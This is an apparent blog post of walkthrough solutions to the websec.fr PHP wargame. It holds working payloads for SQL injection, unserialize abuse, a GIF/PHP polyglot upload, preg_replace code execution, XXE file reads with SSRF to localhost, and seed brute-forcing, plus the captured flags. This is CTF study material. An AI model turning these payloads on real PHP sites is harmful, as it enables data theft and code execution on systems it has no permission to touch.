Arxenix's blog

websec.fr Solutions

Lately I've been working on the challenges from the websec.fr wargame. It's a fantastic collection of PHP web exploitation challenges. Best of all, you get the source code for every single one! Don't be fooled though, some of them are still really tricky.

So far, I've solved everything from the baby difficulty levels, and everything in easy besides 13 and 24.

I highly advise that you only consult my solutions if you have attempted a challenge for at least two hours without making any progress.


Baby

Level 1

The application is vulnerable to SQL Injection.

It uses SQLite. We can see some SQLite Payloads

First off, we can try to get all table names:

1 UNION SELECT 1, tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

We add the 1, before tbl_name to ensure the result has the correct number of columns so we can perform the UNION.

There is only 1 table: users. Lets see the columns.

1 UNION SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL

There's a password column! Lets look at them.

1 UNION SELECT 0, GROUP_CONCAT(password) FROM users;

Flag is in output: WEBSEC{Simple_SQLite_Injection}.


Level 4

TODO - explain

<?php

// leet_hax0r cookie
$cookie = ""; // <-- Your cookie here
$cookie = unserialize (base64_decode ($cookie));
$ip = $cookie['ip'];

class SQL {
    //SELECT * FROM users;
    //SELECT sql AS username FROM sqlite_master WHERE type!='meta' AND sql NOT NULL;
    // -> CREATE TABLE users(id int, username varchar, password varchar)
    //
    public $query = 'SELECT password AS username FROM users;';
    // -> WEBSEC{9abd8e8247cbe62641ff662e8fbb662769c08500}
}


$obj = serialize(array('ip'=>$ip, 'sql'=>new SQL()));

echo $obj . "\n";

echo base64_encode($obj) . "\n";

Level 17

The timing attack stuff is a red herring.

The trick is that the strcasecmp() function returns 0 if one arg is a string and the other is an array. In PHP, you can send arrays in GET/POST requests.

curl -X POST \
  http://websec.fr/level17/index.php \
  -H 'Cache-Control: no-cache' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \
  -F 'flag[]=x'

Level 25

parse_url is a known buggy function. If we can get it to return false, we can bypass the query extraction and flag will never get filtered.

Simple payload (fails on :80 because it tries to parse a port in the wrong location): http://websec.fr/level25/index.php?page=flag&:80


Level 28

There is a race condition here. You can upload a file, and it remains on disk for 1 second before being unlink()'d when the checksum is incorrect. Therefore, we just upload a PHP script to read flag.php, and we access it within 1 second to get the flag.


Easy

Level 2

The filter sucks. It simply replaces blacklisted words with empty string. e.g. SELECT -> .
This is easily bypassed. e.g. SSELECTELECT -> SELECT.

Therefore we can simply modify our last query:

1 UUNIONNION SSELECTELECT 0, password FFROMROM users WHERE id=1;

Level 8

We make a polyglot GIF/PHP file.

<?php

$fname = "test.gif";
$file = fopen($fname, "r") or die("Unable to open file!");
$gif = fread($file,filesize($fname));
fclose($file);

$fname = "pwn.gif";
$file = fopen($fname, "w+") or die ("Unable to open file!");
$gif .= "<?php\n";
$gif .= "echo 'PWNED!';\n";
$gif .= "print_r(scandir('.'));\n";
$gif .= "print_r(scandir('uploads/'));\n";
$gif .= '$file = fopen("flag.txt", "r");'."\n";
$gif .= 'echo fread($file, filesize("flag.txt"));'."\n";
$gif .= "echo 'DONE!'\n?>";
fwrite($file, $gif);
fclose($file);

echo (getimagesize($fname) !== false) . "\n";
echo (exif_imagetype($fname) === IMAGETYPE_GIF) . "\n";
// FLAG: WEBSEC{BypassingImageChecksToRCE}

Level 10

TODO - code, explain
It does an == hash comparison, which means type-juggling occurs. We can brute force until we get something that juggles to a valid integer.


Level 11

AS keyword is optional in SQLite, you can simply omit it.

Payload:

(SELECT 2 id, enemy username FROM costume where id LIKE 1)

Final query becomes:

SELECT id,username FROM (SELECT 2 id, enemy username FROM costume where id LIKE 1) WHERE id = 2

Which is equivalent to:

SELECT id,username FROM (SELECT 2 AS id, enemy AS username FROM costume where id LIKE 1) WHERE id = 2

Level 13

The application is vulnerable to SQL injection in the code below.

$tmp = explode(',',$_GET['ids']);
for ($i = 0; $i < count($tmp); $i++ ) {
      $tmp[$i] = (int)$tmp[$i];
      if( $tmp[$i] < 1 ) {
          unset($tmp[$i]);
      }
}

$selector = implode(',', array_unique($tmp));

$query = "SELECT user_id, user_privileges, user_name
FROM users
WHERE (user_id in (" . $selector . "));";

It splits your ids by ,, casts each to an integer, and if it is <1, it gets rid of it. If this worked properly... it would be safe, as $selector should end up as a CSV of ints. However, the big mistake in this code is that unset($tmp[$i]) modifies the $tmp array and decreases its size. Therefore, the for loop will not iterate over the entire array if an element gets removed.

For example, let's make our payload user_id,user_id)) OR 1=1;#.

$tmp gets set to ["user_id", "user_id)) OR 1=1;#"].
In the first iteration of the for loop, the user_id string gets cast to an int, is less than zero, and then gets removed. So at the end of this iteration $tmp is now just ["user_id)) OR 1=1;#"]. The for loop then ends, because $i < count($tmp).

So, your $query ends up becoming:

SELECT user_id, user_privileges, user_name FROM users WHERE (user_id in (user_id)) OR 1=1;#));

This allows us to dump the name, id, and privileges of each user. We see there is an admin user with all privileges and id=0.

Now, we just use classic SQL injection techniques to extract the user_password column for the admin user. The only hard part remaining is that we only get 70 characters for our payload. It took me a while to make it as short as I possibly could, and I got it down to exactly 70 characters.

Payload:

0,,,1))UNION SELECT user_password AS user_id,1,1 FROM users WHERE 1=1;

Level 15

create_function() evaluates code on creation. You can simple end the current function body, print flag, and start a new one to prevent errors.

Payload: }; echo $flag; function z(){


Level 19

One main catch in the problem is that srand() takes an int. The float generated by microtime (true) will get cast to an int. This makes it easy to brute force.

<?php
// Force server to call srand() with current time.
file_get_contents("http://websec.fr/level19/random.php"); 

// Tell server to generate a captcha
$response = file_get_contents("http://websec.fr/level19/index.php");

// fetch session cookie
$cookies = array();
foreach ($http_response_header as $hdr) {
    if (preg_match('/^Set-Cookie:\s*([^;]+)/', $hdr, $matches)) {
        parse_str($matches[1], $tmp);
        $cookies += $tmp;
    }
}
$session = $cookies['PHPSESSID'];
echo "session: " . $session . "\n";

// get CSRF token
$csrf_token = explode('"', explode('token', $response)[2])[2];
echo "csrf: " . $csrf_token . "\n";

// same text gen function server uses
function generate_random_text ($length) {
    $chars  = "abcdefghijklmnopqrstuvwxyz";
    $chars .= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $chars .= "1234567890";

    $text = '';
    for($i = 0; $i < $length; $i++) {
        $text .= $chars[rand () % strlen ($chars)];
    }
    return $text;
}

// Submit captcha w/ csrf token and session cookie
function submit_captcha( $captcha, $csrf_token, $session) {
	//$url = "http://requestbin.fullcontact.com/1hxocwz1";
	$url = "http://websec.fr/level19/index.php";
	$data = array('token'=>$csrf_token, 'captcha'=>$captcha);
	$data = http_build_query($data);
	$options = array(
	  'http'=>array(
	    'method'=>"POST",
	    'header'=>"Host: sharklasers.com\r\n" .
                      "Accept-language: en\r\n" .
                      "Content-type: application/x-www-form-urlencoded\r\n" . 
                      "Content-Length: " . strlen($data) . "\r\n" .
		      "Cookie: PHPSESSID=" . $session . "\r\n" .  // check function.stream-context-create on php.net
		      "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10\r\n", // i.e. An iPad 
            'content'=>$data
	  )
	);
	echo "built query";

	$context = stream_context_create($options);
	echo "sending request..";
	$file = file_get_contents($url, false, $context);
	echo "done\n";
	echo $file;
	//echo explode('</form>', $file)[1];
	//return $file;
}


// local time in seconds
$int_time = intval(microtime(true));
$search_range = 300000;
for ($i=0; $i<$search_range/2; $i++) {
  // guess time to seed with
	$time_guess = $int_time + $search_range/2 - $i;
	srand($time_guess);
	$rand = generate_random_text(32);
	// if the generated text matches the csrf token, we have the right seed.
	if ($rand === $csrf_token) {
		echo "success: " . $i . "\n";
		$captcha = generate_random_text(255/10.0);
		echo "captcha: " . $captcha . "\n";
		submit_captcha($captcha, $csrf_token, $session);
		break;
	}
}

?>

Level 20

It was clear that this was a PHP unserialize() vulnerability, we just had to figure out how to bypass the Regex filters. I found some posts on the various features of unserialize, which listed the different types of objects you could create. You simply had to create a Custom Object instead of a regular Object to bypass the regex.

Payload: C:4:"Flag":1:{};


Level 22

You can access array elements using {} instead of []. We can call functions in the blacklist via $blacklist{index}(). We search through the blacklist to find var_dump, and see that it is at index 579. We call var_dump($a) to dump the flag.

Payload: $blacklist{579}($a)


Level 24

Classic PHP filter vulnerabilities. We can use a filter on file_put_contents to bypass the blacklist.

Set filename to php://filter/convert.base64-decode/resource=pwn.php and data to your base64 encoded payload.

We try some various php payloads and access them (unfortunately system family seems to be disabled, but we have arbitrary file read at least.

<?php echo var_dump(scandir('../..'));?> lists contents of challenge dir, and we see flag.php

<?php echo file_get_contents('../../flag.php'));?> Works!

Final payload: POST to http://websec.fr/level24/index.php?p=edit&filename=php://filter/convert.base64-decode/resource=pwn.php with data=PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnLi4vLi4vZmxhZy5waHAnKTs/Pg==


Medium

Level 3

First thing to notice is that the 2nd parameter passed into the sha1 functions is fa1se, not false. According to PHP docs, this means that sha1 outputs raw binary, not a hex digest.

I spend a while thinking about the consequences of this, and realized that it could lead to sha1 outputting a NULL byte, thereby terminating the string (PHP strings are null terminated).

Coincidentally... the hex digest of the flag they give you has a NULL byte for its second byte (7c00249d409a91ab84e3f421c193520d9fb3674b)

This means, when doing the password_verify function, it is actually only checking that the sha1 of your input matches the first byte (7c). So, all we need to do is find something which has a hash that starts with 7c00, and the rest can be anything.

I wrote a quick script to find the required input.

import hashlib
import base64
i = 0
while True:
    v = "%x"%i
    v = '0'+v if len(v)%2==1 else v
    v = base64.b64encode(v.decode('hex'))
    h = hashlib.sha1(v).digest()[:2] # grab first 2 bytes of hash
    if h=="\x7c\x00":
        print v
        break
    i += 1

Payload: ARcL


Level 5

In the source, we see that the flag is a variable $flag in flag.php. Clearly, we either need an RCE or some way to import flag.php.

The vulnerability here is the e flag in preg_replace. However, the tricky part is bypassing the blacklist regex.

$blacklist = implode (["'", '"', '(', ')', ' ', '`']);
$corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\\1")', $q);

You can use PHP variable interpolation to get limited code execution. You can confirm by submitting ${blacklist} and seeing that it gets replaced with '"() `

I messed around with this for a while, and realized that you can do a bit more than just variable interpolation. You can do function calls, variable assignments, and probably more! However... () is filtered in this challenge, so we can't call a function such as file_get_contents.

Luckily, PHP has language construct functions, such as include and require that can be called without parenthesis. For example include 'flag.php';. But... quotes are filtered, and spaces are filtered. With a few more tricks, we can still bypass this.

In PHP, all whitespace is equivalent. Instead of using a space, we can use a tab character (0x09).

If PHP, if you use an undefined variable, it assumes you are referencing a string instead!. For example, echo test; will print out test. This allows us to avoid quoting our string constants.

However, we still can't do ${include%09flag.php}, because . is not a valid character inside a variable name. At this point I got stuck for a while, until I realized we have other ways to reference the string "flag.php". We can reference a GET parameter!

For example: ?q=$_GET[a]&a=flag.php

Our final payload becomes: ?q=${require $_GET[a]} ${flag}&a=flag.php

URL Encoded: ?q=$%7Brequire%09$_GET[a]%7D%20$%7Bflag%7D&a=flag.php


Level 9

The stripcslashes() function replaces escape code sequences such as \n, \r, \xff, with the corresponding ASCII characters. You can simply encode your payload with hex encoding (\xYY) to bypass the filter.

Payload: readfile\x28\x22flag.txt\x22\x29\x3b -> decodes to readfile("flag.txt");


Level 12

After some googling, with keywords such as "php object instantiation rce", I discovered XXE Attacks XXE attacks abuse the fact that you can embed external entities (such as entities on the filesystem, remote URIs, etc.) inside an XML file. First, we instantiate the SimpleXMLElement class with an XML payload that reads the contents of index.php to dump the source code.

class: SimpleXMLElement
param1:

<!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">]>
<scan>&test;</scan>

param2: 6

This gets us the source code of the application. It pretty much behaves exactly as we expected, except there is this snippet at the bottom.

<?php
/*
Congratulation, you can read this file, but this is not the end of our journey.

- Thanks to cutz for the QA.
- Thanks to blotus for finding a (now fixed) weakness in the "encryption" function.
- Thanks to nurfed for nagging us about a cheat
*/

$text = 'Niw0OgIsEykABg8qESRRCg4XNkEHNg0XCls4BwZaAVBbLU4EC2VFBTooPi0qLFUELQ==';
$key = ini_get ('user_agent');

if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1') {
    if ($_SERVER['HTTP_USER_AGENT'] !== $key) {
    	die ("Cheating is bad, m'kay?");
    }
    
    $i = 0;
    $flag = '';
    foreach (str_split (base64_decode ($text)) as $letter) {
        $flag .= chr (ord ($key[$i++]) ^ ord ($letter));
    }
    die ($flag);
}
?>

From this code, it seems like we need either a RCE, or an SSRF attack. Luckily, XXE makes it very easy to do SSRF :)

We send the following XML data to get the flag:

<!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1/level12/index.php">]>
<scan>&test;</scan>

Level 18

Easy challenge after the PHP unserialize() research I did for level 20. PHP serialization supports references! We can make $unserialized_obj->input be a reference to $unserialized_obj->flag.

$obj = new stdClass;
$obj->flag=1;
$obj->input = &$obj->flag;
echo serialize($obj);

Payload: O:8:"stdClass":2:{s:4:"flag";i:1;s:5:"input";R:2;}

Level 21

UNSOLVED


Hard

Level 7

TODO - explain

Payload:

1111 union select 1,max(d) from (select 1 b,2 c,3 d union select * from users where id between 1 and 1) a

Level 14

This challenge just required knowledge of existing PHP functions/classes. After a lot of messing around (and a hint), I finally found a simple solution.

echo new finfo(0,'/');

This dumps all directory contents, along with the flag.


Level 23

UNSOLVED

comments powered by Disqus